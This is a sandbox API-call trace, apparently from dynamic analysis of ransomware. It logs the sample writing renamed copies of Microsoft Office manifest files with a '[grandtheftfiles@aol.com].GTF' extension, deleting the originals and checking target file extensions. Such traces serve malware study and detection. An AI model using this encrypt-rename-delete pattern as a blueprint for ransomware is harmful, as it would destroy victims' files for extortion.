	[0074.024] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0019-0000-1000-0000000FF1CE.xml.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0019-0000-1000-0000000ff1ce.xml.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x31c
	[0074.025] GetLastError () returned 0x0
	[0074.025] ReadFile (in: hFile=0x2d0, lpBuffer=0x2fbb020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2adfecc, lpOverlapped=0x0 | out: lpBuffer=0x2fbb020*, lpNumberOfBytesRead=0x2adfecc*=0x3df10, lpOverlapped=0x0) returned 1
	[0074.030] WriteFile (in: hFile=0x31c, lpBuffer=0x2fbb020*, nNumberOfBytesToWrite=0x3df20, lpNumberOfBytesWritten=0x2adfc94, lpOverlapped=0x0 | out: lpBuffer=0x2fbb020*, lpNumberOfBytesWritten=0x2adfc94*=0x3df20, lpOverlapped=0x0) returned 1
	[0074.035] ReadFile (in: hFile=0x2d0, lpBuffer=0x2fbb020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2adfecc, lpOverlapped=0x0 | out: lpBuffer=0x2fbb020*, lpNumberOfBytesRead=0x2adfecc*=0x0, lpOverlapped=0x0) returned 1
	[0074.035] WriteFile (in: hFile=0x31c, lpBuffer=0x2fbb020*, nNumberOfBytesToWrite=0x13e, lpNumberOfBytesWritten=0x2adfc94, lpOverlapped=0x0 | out: lpBuffer=0x2fbb020*, lpNumberOfBytesWritten=0x2adfc94*=0x13e, lpOverlapped=0x0) returned 1
	[0074.035] SetEndOfFile (hFile=0x31c) returned 1
	[0074.035] CloseHandle (hObject=0x31c) returned 1
	[0074.042] SetFilePointerEx (in: hFile=0x2d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2adfec0 | out: lpNewFilePointer=0x0) returned 1
	[0074.042] SetEndOfFile (hFile=0x2d0) returned 1
	[0074.044] CloseHandle (hObject=0x2d0) returned 1
	[0074.044] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0019-0000-1000-0000000FF1CE.xml.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x220) returned 1
	[0074.044] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0019-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0019-0000-1000-0000000ff1ce.xml")) returned 1
	[0074.045] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0019-0000-1000-0000000FF1CE.xml") returned 104
	[0074.045] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0019-0000-1000-0000000FF1CE.xml") returned 104
	[0074.045] lstrlenW (lpString=".doc") returned 4
	[0074.045] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1
	[0074.045] lstrlenW (lpString=".docx") returned 5
	[0074.045] lstrcmpiW (lpString1=".docx", lpString2="E.xml") returned -1
	[0074.045] lstrlenW (lpString=".pdf") returned 4
	[0074.045] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1
	[0074.045] lstrlenW (lpString=".xls") returned 4
	[0074.045] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1
	[0074.045] lstrlenW (lpString=".xlsx") returned 5
	[0074.045] lstrcmpiW (lpString1=".xlsx", lpString2="E.xml") returned -1
	[0074.045] lstrlenW (lpString=".ppt") returned 4
	[0074.045] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1
	[0074.045] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0019-0000-1000-0000000FF1CE.xml") returned 104
	[0074.045] lstrlenW (lpString=".zip") returned 4
	[0074.045] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1
	[0074.045] lstrlenW (lpString=".rar") returned 4
	[0074.045] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1
	[0074.045] lstrlenW (lpString=".bz2") returned 4
	[0074.045] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1
	[0074.045] lstrlenW (lpString=".7z") returned 3
	[0074.045] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1
	[0074.045] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0019-0000-1000-0000000FF1CE.xml") returned 104
	[0074.045] lstrlenW (lpString=".dbf") returned 4
	[0074.045] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1
	[0074.045] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0019-0000-1000-0000000FF1CE.xml") returned 104
	[0074.045] lstrlenW (lpString=".1cd") returned 4
	[0074.045] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1
	[0074.045] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0019-0000-1000-0000000FF1CE.xml") returned 104
	[0074.045] lstrlenW (lpString=".jpg") returned 4
	[0074.045] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1
	[0074.045] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0019-0000-1000-0000000FF1CE.xml") returned 104
	[0074.045] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0019-0000-1000-0000000FF1CE.xml") returned 104
	[0074.045] lstrlenW (lpString=".doc") returned 4
	[0074.046] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1
	[0074.046] lstrlenW (lpString=".docx") returned 5
	[0074.046] lstrcmpiW (lpString1=".docx", lpString2="E.xml") returned -1
	[0074.046] lstrlenW (lpString=".pdf") returned 4
	[0074.046] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1
	[0074.046] lstrlenW (lpString=".xls") returned 4
	[0074.046] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1
	[0074.046] lstrlenW (lpString=".xlsx") returned 5
	[0074.046] lstrcmpiW (lpString1=".xlsx", lpString2="E.xml") returned -1
	[0074.046] lstrlenW (lpString=".ppt") returned 4
	[0074.046] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1
	[0074.046] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0019-0000-1000-0000000FF1CE.xml") returned 104
	[0074.046] lstrlenW (lpString=".zip") returned 4
	[0074.046] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1
	[0074.046] lstrlenW (lpString=".rar") returned 4
	[0074.046] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1
	[0074.046] lstrlenW (lpString=".bz2") returned 4
	[0074.046] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1
	[0074.046] lstrlenW (lpString=".7z") returned 3
	[0074.046] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1
	[0074.046] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0019-0000-1000-0000000FF1CE.xml") returned 104
	[0074.046] lstrlenW (lpString=".dbf") returned 4
	[0074.046] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1
	[0074.046] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0019-0000-1000-0000000FF1CE.xml") returned 104
	[0074.046] lstrlenW (lpString=".1cd") returned 4
	[0074.046] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1
	[0074.046] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0019-0000-1000-0000000FF1CE.xml") returned 104
	[0074.046] lstrlenW (lpString=".jpg") returned 4
	[0074.046] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1
	[0074.046] lstrcmpiW (lpString1=".xml", lpString2=".GTF") returned 1
	[0074.046] lstrlenW (lpString="AppXManifest.90160000-0019-0409-1000-0000000FF1CE.xml") returned 53
	[0074.047] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0019-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0019-0409-1000-0000000ff1ce.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x340
	[0074.967] GetFileSizeEx (in: hFile=0x340, lpFileSize=0x2adff14 | out: lpFileSize=0x2adff14*=1261) returned 1
	[0074.967] CloseHandle (hObject=0x340) returned 1
	[0074.967] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0019-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0019-0409-1000-0000000ff1ce.xml")) returned 0x220
	[0074.967] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0019-0409-1000-0000000FF1CE.xml.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0019-0409-1000-0000000ff1ce.xml.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0074.967] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0019-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0019-0409-1000-0000000ff1ce.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x340
	[0074.967] SetFilePointerEx (in: hFile=0x340, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2adfec0 | out: lpNewFilePointer=0x0) returned 1
	[0074.968] SetFilePointerEx (in: hFile=0x340, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2adfec0 | out: lpNewFilePointer=0x0) returned 1
	[0074.968] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0019-0409-1000-0000000FF1CE.xml.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0019-0409-1000-0000000ff1ce.xml.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390
	[0075.706] GetLastError () returned 0x0
	[0075.706] ReadFile (in: hFile=0x340, lpBuffer=0x2fbb020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2adfecc, lpOverlapped=0x0 | out: lpBuffer=0x2fbb020*, lpNumberOfBytesRead=0x2adfecc*=0x4ed, lpOverlapped=0x0) returned 1
	[0075.710] WriteFile (in: hFile=0x390, lpBuffer=0x2fbb020*, nNumberOfBytesToWrite=0x4f0, lpNumberOfBytesWritten=0x2adfc94, lpOverlapped=0x0 | out: lpBuffer=0x2fbb020*, lpNumberOfBytesWritten=0x2adfc94*=0x4f0, lpOverlapped=0x0) returned 1
	[0075.711] ReadFile (in: hFile=0x340, lpBuffer=0x2fbb020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2adfecc, lpOverlapped=0x0 | out: lpBuffer=0x2fbb020*, lpNumberOfBytesRead=0x2adfecc*=0x0, lpOverlapped=0x0) returned 1
	[0075.711] WriteFile (in: hFile=0x390, lpBuffer=0x2fbb020*, nNumberOfBytesToWrite=0x13e, lpNumberOfBytesWritten=0x2adfc94, lpOverlapped=0x0 | out: lpBuffer=0x2fbb020*, lpNumberOfBytesWritten=0x2adfc94*=0x13e, lpOverlapped=0x0) returned 1
	[0075.712] SetEndOfFile (hFile=0x390) returned 1
	[0075.712] CloseHandle (hObject=0x390) returned 1
	[0075.713] SetFilePointerEx (in: hFile=0x340, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2adfec0 | out: lpNewFilePointer=0x0) returned 1
	[0075.713] SetEndOfFile (hFile=0x340) returned 1
	[0075.713] CloseHandle (hObject=0x340) returned 1
	[0075.714] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0019-0409-1000-0000000FF1CE.xml.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x220) returned 1
	[0075.714] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0019-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0019-0409-1000-0000000ff1ce.xml")) returned 1
	[0075.714] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0019-0409-1000-0000000FF1CE.xml") returned 104
	[0075.714] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0019-0409-1000-0000000FF1CE.xml") returned 104
	[0075.714] lstrlenW (lpString=".doc") returned 4
	[0075.714] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1
	[0075.714] lstrlenW (lpString=".docx") returned 5
	[0075.714] lstrcmpiW (lpString1=".docx", lpString2="E.xml") returned -1
	[0075.714] lstrlenW (lpString=".pdf") returned 4
	[0075.714] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1
	[0075.714] lstrlenW (lpString=".xls") returned 4
	[0075.714] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1
	[0075.714] lstrlenW (lpString=".xlsx") returned 5
	[0075.714] lstrcmpiW (lpString1=".xlsx", lpString2="E.xml") returned -1
	[0075.715] lstrlenW (lpString=".ppt") returned 4
	[0075.715] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1
	[0075.715] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0019-0409-1000-0000000FF1CE.xml") returned 104
	[0075.715] lstrlenW (lpString=".zip") returned 4
	[0075.715] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1
	[0075.715] lstrlenW (lpString=".rar") returned 4
	[0075.715] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1
	[0075.715] lstrlenW (lpString=".bz2") returned 4
	[0075.715] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1
	[0075.715] lstrlenW (lpString=".7z") returned 3
	[0075.715] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1
	[0075.715] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0019-0409-1000-0000000FF1CE.xml") returned 104
	[0075.715] lstrlenW (lpString=".dbf") returned 4
	[0075.715] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1
	[0075.715] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0019-0409-1000-0000000FF1CE.xml") returned 104
	[0075.715] lstrlenW (lpString=".1cd") returned 4
	[0075.715] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1
	[0075.715] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0019-0409-1000-0000000FF1CE.xml") returned 104
	[0075.715] lstrlenW (lpString=".jpg") returned 4
	[0075.715] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1
	[0075.715] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0019-0409-1000-0000000FF1CE.xml") returned 104
	[0075.715] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0019-0409-1000-0000000FF1CE.xml") returned 104
	[0075.715] lstrlenW (lpString=".doc") returned 4
	[0075.715] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1
	[0075.715] lstrlenW (lpString=".docx") returned 5
	[0075.715] lstrcmpiW (lpString1=".docx", lpString2="E.xml") returned -1
	[0075.715] lstrlenW (lpString=".pdf") returned 4
	[0075.715] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1
	[0075.715] lstrlenW (lpString=".xls") returned 4
	[0075.715] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1
	[0075.715] lstrlenW (lpString=".xlsx") returned 5
	[0075.715] lstrcmpiW (lpString1=".xlsx", lpString2="E.xml") returned -1
	[0075.715] lstrlenW (lpString=".ppt") returned 4
	[0075.715] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1
	[0075.715] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0019-0409-1000-0000000FF1CE.xml") returned 104
	[0075.715] lstrlenW (lpString=".zip") returned 4
	[0075.716] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1
	[0075.716] lstrlenW (lpString=".rar") returned 4
	[0075.716] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1
	[0075.716] lstrlenW (lpString=".bz2") returned 4
	[0075.716] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1
	[0075.716] lstrlenW (lpString=".7z") returned 3
	[0075.716] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1
	[0075.716] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0019-0409-1000-0000000FF1CE.xml") returned 104
	[0075.716] lstrlenW (lpString=".dbf") returned 4
	[0075.716] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1
	[0075.716] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0019-0409-1000-0000000FF1CE.xml") returned 104
	[0075.716] lstrlenW (lpString=".1cd") returned 4
	[0075.716] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1
	[0075.716] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0019-0409-1000-0000000FF1CE.xml") returned 104
	[0075.716] lstrlenW (lpString=".jpg") returned 4
	[0075.716] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1
	[0075.716] lstrcmpiW (lpString1=".xml", lpString2=".GTF") returned 1
	[0075.716] lstrlenW (lpString="AppXManifest.90160000-001A-0409-1000-0000000FF1CE.xml") returned 53
	[0075.716] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001A-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-001a-0409-1000-0000000ff1ce.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370
	[0075.717] GetFileSizeEx (in: hFile=0x370, lpFileSize=0x2adff14 | out: lpFileSize=0x2adff14*=19451) returned 1
	[0075.717] CloseHandle (hObject=0x370) returned 1
	[0075.718] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001A-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-001a-0409-1000-0000000ff1ce.xml")) returned 0x220
	[0075.718] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001A-0409-1000-0000000FF1CE.xml.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-001a-0409-1000-0000000ff1ce.xml.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0075.718] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001A-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-001a-0409-1000-0000000ff1ce.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370
	[0075.718] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2adfec0 | out: lpNewFilePointer=0x0) returned 1
	[0075.718] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2adfec0 | out: lpNewFilePointer=0x0) returned 1
	[0075.718] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001A-0409-1000-0000000FF1CE.xml.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-001a-0409-1000-0000000ff1ce.xml.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x340
	[0075.718] GetLastError () returned 0x0
	[0075.718] ReadFile (in: hFile=0x370, lpBuffer=0x2fbb020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2adfecc, lpOverlapped=0x0 | out: lpBuffer=0x2fbb020*, lpNumberOfBytesRead=0x2adfecc*=0x4bfb, lpOverlapped=0x0) returned 1
	[0075.721] WriteFile (in: hFile=0x340, lpBuffer=0x2fbb020*, nNumberOfBytesToWrite=0x4c00, lpNumberOfBytesWritten=0x2adfc94, lpOverlapped=0x0 | out: lpBuffer=0x2fbb020*, lpNumberOfBytesWritten=0x2adfc94*=0x4c00, lpOverlapped=0x0) returned 1
	[0075.723] ReadFile (in: hFile=0x370, lpBuffer=0x2fbb020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2adfecc, lpOverlapped=0x0 | out: lpBuffer=0x2fbb020*, lpNumberOfBytesRead=0x2adfecc*=0x0, lpOverlapped=0x0) returned 1
	[0075.723] WriteFile (in: hFile=0x340, lpBuffer=0x2fbb020*, nNumberOfBytesToWrite=0x13e, lpNumberOfBytesWritten=0x2adfc94, lpOverlapped=0x0 | out: lpBuffer=0x2fbb020*, lpNumberOfBytesWritten=0x2adfc94*=0x13e, lpOverlapped=0x0) returned 1
	[0075.723] SetEndOfFile (hFile=0x340) returned 1
	[0075.723] CloseHandle (hObject=0x340) returned 1
	[0075.724] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2adfec0 | out: lpNewFilePointer=0x0) returned 1
	[0075.724] SetEndOfFile (hFile=0x370) returned 1
	[0075.725] CloseHandle (hObject=0x370) returned 1
	[0075.725] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001A-0409-1000-0000000FF1CE.xml.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x220) returned 1
	[0075.725] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001A-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-001a-0409-1000-0000000ff1ce.xml")) returned 1
	[0075.726] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001A-0409-1000-0000000FF1CE.xml") returned 104
	[0075.726] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001A-0409-1000-0000000FF1CE.xml") returned 104
	[0075.726] lstrlenW (lpString=".doc") returned 4
	[0075.726] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1
	[0075.726] lstrlenW (lpString=".docx") returned 5
	[0075.726] lstrcmpiW (lpString1=".docx", lpString2="E.xml") returned -1
	[0075.726] lstrlenW (lpString=".pdf") returned 4
	[0075.726] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1
	[0075.726] lstrlenW (lpString=".xls") returned 4
	[0075.726] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1
	[0075.726] lstrlenW (lpString=".xlsx") returned 5
	[0075.726] lstrcmpiW (lpString1=".xlsx", lpString2="E.xml") returned -1
	[0075.726] lstrlenW (lpString=".ppt") returned 4
	[0075.726] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1
	[0075.726] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001A-0409-1000-0000000FF1CE.xml") returned 104
	[0075.726] lstrlenW (lpString=".zip") returned 4
	[0075.726] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1
	[0075.726] lstrlenW (lpString=".rar") returned 4
	[0075.726] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1
	[0075.726] lstrlenW (lpString=".bz2") returned 4
	[0075.726] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1
	[0075.726] lstrlenW (lpString=".7z") returned 3
	[0075.726] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1
	[0075.726] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001A-0409-1000-0000000FF1CE.xml") returned 104
	[0075.726] lstrlenW (lpString=".dbf") returned 4
	[0075.726] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1
	[0075.726] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001A-0409-1000-0000000FF1CE.xml") returned 104
	[0075.726] lstrlenW (lpString=".1cd") returned 4
	[0075.726] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1
	[0075.726] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001A-0409-1000-0000000FF1CE.xml") returned 104
	[0075.726] lstrlenW (lpString=".jpg") returned 4
	[0075.726] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1
	[0075.727] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001A-0409-1000-0000000FF1CE.xml") returned 104
	[0075.727] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001A-0409-1000-0000000FF1CE.xml") returned 104
	[0075.727] lstrlenW (lpString=".doc") returned 4
	[0075.727] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1
	[0075.727] lstrlenW (lpString=".docx") returned 5
	[0075.727] lstrcmpiW (lpString1=".docx", lpString2="E.xml") returned -1
	[0075.727] lstrlenW (lpString=".pdf") returned 4
	[0075.727] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1
	[0075.727] lstrlenW (lpString=".xls") returned 4
	[0075.727] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1
	[0075.727] lstrlenW (lpString=".xlsx") returned 5
	[0075.727] lstrcmpiW (lpString1=".xlsx", lpString2="E.xml") returned -1
	[0075.727] lstrlenW (lpString=".ppt") returned 4
	[0075.727] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1
	[0075.727] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001A-0409-1000-0000000FF1CE.xml") returned 104
	[0075.727] lstrlenW (lpString=".zip") returned 4
	[0075.727] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1
	[0075.727] lstrlenW (lpString=".rar") returned 4
	[0075.727] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1
	[0075.727] lstrlenW (lpString=".bz2") returned 4
	[0075.727] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1
	[0075.727] lstrlenW (lpString=".7z") returned 3
	[0075.727] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1
	[0075.727] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001A-0409-1000-0000000FF1CE.xml") returned 104
	[0075.727] lstrlenW (lpString=".dbf") returned 4
	[0075.727] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1
	[0075.727] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001A-0409-1000-0000000FF1CE.xml") returned 104
	[0075.727] lstrlenW (lpString=".1cd") returned 4
	[0075.727] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1
	[0075.727] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001A-0409-1000-0000000FF1CE.xml") returned 104
	[0075.727] lstrlenW (lpString=".jpg") returned 4
	[0075.727] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1
	[0075.728] lstrcmpiW (lpString1=".xml", lpString2=".GTF") returned 1
	[0075.728] lstrlenW (lpString="AppXManifest.90160000-001B-0000-1000-0000000FF1CE.xml") returned 53
